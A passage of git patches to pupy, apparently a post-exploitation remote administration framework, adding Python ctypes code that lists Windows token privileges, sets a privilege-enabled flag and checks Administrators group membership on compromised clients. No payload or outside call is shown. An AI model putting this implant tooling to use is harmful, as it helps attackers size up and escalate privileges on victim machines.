import * import subprocess import psutil +import ctypes LPVOID = c_void_p PVOID = LPVOID @@ -36,11 +40,22 @@ TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | PROCESS_QUERY_INFORMATION = 0x0400 +class TOKEN_INFORMATION_CLASS: + #see http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx + TokenUser = 1 + TokenGroups = 2 + TokenPrivileges = 3 + class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] + def __eq__(self, other): + return (self.HighPart == other.HighPart and self.LowPart == other.LowPart) + + def __ne__(self, other): + return not (self==other) class SID_AND_ATTRIBUTES(Structure): _fields_ = [ @@ -51,18 +66,63 @@ class SID_AND_ATTRIBUTES(Structure): class TOKEN_USER(Structure): _fields_ = [ ("User", SID_AND_ATTRIBUTES),] + +SE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001) +SE_PRIVILEGE_ENABLED = (0x00000002) +SE_PRIVILEGE_REMOVED = (0x00000004) +SE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000) + +LookupPrivilegeName = ctypes.windll.advapi32.LookupPrivilegeNameW +LookupPrivilegeName.argtypes = ( + wintypes.LPWSTR, # lpSystemName + ctypes.POINTER(LUID), # lpLuid + wintypes.LPWSTR, # lpName + ctypes.POINTER(wintypes.DWORD), #cchName + ) +LookupPrivilegeName.restype = wintypes.BOOL class LUID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Luid", LUID), ("Attributes", DWORD), ] + def is_enabled(self): + return bool(self.Attributes & SE_PRIVILEGE_ENABLED) + + def enable(self): + self.Attributes |= SE_PRIVILEGE_ENABLED + + def get_name(self): + size = wintypes.DWORD(10240) + buf = ctypes.create_unicode_buffer(size.value) + res = LookupPrivilegeName(None, self.Luid, buf, size) + if res == 0: raise RuntimeError + return buf[:size.value] + + def __str__(self): + res = self.get_name() + if self.is_enabled(): res += ' (enabled)' + return res class TOKEN_PRIVILEGES(Structure): _fields_ = [ ("PrivilegeCount", DWORD), ("Privileges", LUID_AND_ATTRIBUTES), ] + +class TOKEN_PRIVS(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES*0), + ] + def get_array(self): + array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount + privileges = ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents + return privileges + + def __iter__(self): + return iter(self.get_array()) + class PROCESS_INFORMATION(Structure): _fields_ = [ @@ -190,6 +250,22 @@ def getProcessToken(pid): windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) windll.kernel32.CloseHandle(hProcess) return hToken + +def get_process_token(): + """ + Get the current process token + """ + GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess + GetCurrentProcess.restype = wintypes.HANDLE + OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken + OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)) + OpenProcessToken.restype = wintypes.BOOL + token = wintypes.HANDLE() + TOKEN_ALL_ACCESS = 0xf01ff + res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token) + if not res > 0: + raise RuntimeError("Couldn't get process token") + return token def gethTokenFromPid(pid): try: @@ -366,3 +442,34 @@ def rev2self(): pass global_ref=None print "\t[+] Running as: " + GetUserName() + +def get_currents_privs(): + ''' + Get all privileges associated with the current process. + ''' + GetTokenInformation = ctypes.windll.advapi32.GetTokenInformation + GetTokenInformation.argtypes = [ + wintypes.HANDLE, # TokenHandleTOKEN_PRIV + ctypes.c_uint, # TOKEN_INFORMATION_CLASS value + ctypes.c_void_p, # TokenInformation + wintypes.DWORD, # TokenInformationLength + ctypes.POINTER(wintypes.DWORD), # ReturnLength + ] + GetTokenInformation.restype = wintypes.BOOL + return_length = wintypes.DWORD() + params = [ + get_process_token(), + TOKEN_INFORMATION_CLASS.TokenPrivileges, + None, + 0, + return_length, + ] + res = GetTokenInformation(*params) + buffer = ctypes.create_string_buffer(return_length.value) + params[2] = buffer + params[3] = return_length.value + res = GetTokenInformation(*params) + assert res > 0, "Error in second GetTokenInformation (%d)" % res + privileges = ctypes.cast(buffer, ctypes.POINTER(TOKEN_PRIVS)).contents + return privileges + From df59c0e101504223c575a6a860aa7945af92f3bd Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Wed, 5 Oct 2016 12:02:03 -0400 Subject: [PATCH 6/7] Shows if user is in local admin grp in get_info module --- pupy/modules/get_info.py | 9 +++ .../windows/all/pupwinutils/security.py | 59 +++++++++++++++++++ 2 files changed, 68 insertions(+) diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 2e00b73b..7415a607 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -6,6 +6,7 @@ __class_name__="GetInfo" @config(cat="gather") class GetInfo(PupyModule): """ get some informations about one or multiple clients """ + dependencies=["psutil", "pupwinutils.security"] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__) #self.arg_parser.add_argument('arguments', nargs='+', metavar='') @@ -21,6 +22,14 @@ class GetInfo(PupyModule): if self.client.is_windows(): for k in windKeys: infos+="{:<10}: {}\n".format(k,self.client.desc[k]) + currentUserIsLocalAdmin = self.client.conn.modules["pupwinutils.security"].can_get_admin_access() + desc = "local_adm" + if currentUserIsLocalAdmin == True: + infos+="{:<10}: {}\n".format(desc,"Yes") + elif currentUserIsLocalAdmin == False: + infos+="{:<10}: {}\n".format(desc,"No") + else: + infos+="{:<10}: {}\n".format(desc,"?") elif self.client.is_linux(): for k in linuxKeys: infos+="{:<10}: {}\n".format(k,self.client.desc[k]) diff --git a/pupy/packages/windows/all/pupwinutils/security.py b/pupy/packages/windows/all/pupwinutils/security.py index 25887734..1250e9b9 100644 --- a/pupy/packages/windows/all/pupwinutils/security.py +++ b/pupy/packages/windows/all/pupwinutils/security.py @@ -473,3 +473,62 @@ def get_currents_privs(): privileges = ctypes.cast(buffer, ctypes.POINTER(TOKEN_PRIVS)).contents return privileges +def can_get_admin_access(): + """ + Check if the user may be able to get administrator access. + Returns True if the user is in the administrator's group. + Otherwise returns False + """ + SECURITY_MAX_SID_SIZE = 68 + WinBuiltinAdministratorsSid = 26 + ERROR_NO_SUCH_LOGON_SESSION = 1312 + ERROR_PRIVILEGE_NOT_HELD = 1314 + TokenLinkedToken = 19 + # On XP or lower this is equivalent to has_root() + if sys.getwindowsversion()[0] < 6: + return bool(ctypes.windll.shell32.IsUserAnAdmin()) + # On Vista or higher, there's the whole UAC token-splitting thing. + # Many thanks for Junfeng Zhang for the workflow: htttp://blogs.msdn.com/junfeng/archive/2007/01/26/how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx + proc = ctypes.windll.kernel32.GetCurrentProcess() + # Get the token for the current process. + try: + token = ctypes.wintypes.HANDLE() + ctypes.windll.advapi32.OpenProcessToken(proc,TOKEN_QUERY,byref(token)) + try: + # Get the administrators SID. + sid = ctypes.create_string_buffer(SECURITY_MAX_SID_SIZE) + sz = ctypes.wintypes.DWORD(SECURITY_MAX_SID_SIZE) + target_sid = WinBuiltinAdministratorsSid + ctypes.windll.advapi32.CreateWellKnownSid(target_sid,None,byref(sid),byref(sz)) + # Check whether the token has that SID directly. + has_admin = ctypes.wintypes.BOOL() + ctypes.windll.advapi32.CheckTokenMembership(None,byref(sid),byref(has_admin)) + if has_admin.value: + return True + # Get the linked token. Failure may mean no linked token. + lToken = ctypes.wintypes.HANDLE() + try: + cls = TokenLinkedToken + ctypes.windll.advapi32.GetTokenInformation(token,cls,byref(lToken),sizeof(lToken),byref(sz)) + except WindowsError, e: + if e.winerror == ERROR_NO_SUCH_LOGON_SESSION: + return False + elif e.winerror == ERROR_PRIVILEGE_NOT_HELD: + return False + else: + raise + # Check if the linked token has the admin SID + try: + ctypes.windll.advapi32.CheckTokenMembership(lToken,byref(sid),byref(has_admin)) + return bool(has_admin.value) + finally: + ctypes.windll.kernel32.CloseHandle(lToken) + finally: + ctypes.windll.kernel32.CloseHandle(token) + except Exception,e: + return None + finally: + try: + ctypes.windll.kernel32.CloseHandle(proc) + except Exception,e: + pass From b93df591e4c22fcb41f0fa125371d9a885381597 Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Thu, 6 Oct 2016 04:55:39 -0400 Subject: [PATCH 7/7] New description of the getprivs module --- pupy/modules/getprivs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/modules/getprivs.py b/pupy/modules/getprivs.py index 7dd3f1ca..c3d4465b 100644 --- a/pupy/modules/getprivs.py +++ b/pupy/modules/getprivs.py @@ -8,7 +8,7 @@ __class_name__="GetPrivsModule" @config(compat=["windows"], cat="manage") class GetPrivsModule(PupyModule): - """ try to get SeDebugPrivilege for the current process """ + """ Manage current process privileges """ dependencies=["psutil", "pupwinutils.security"] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__)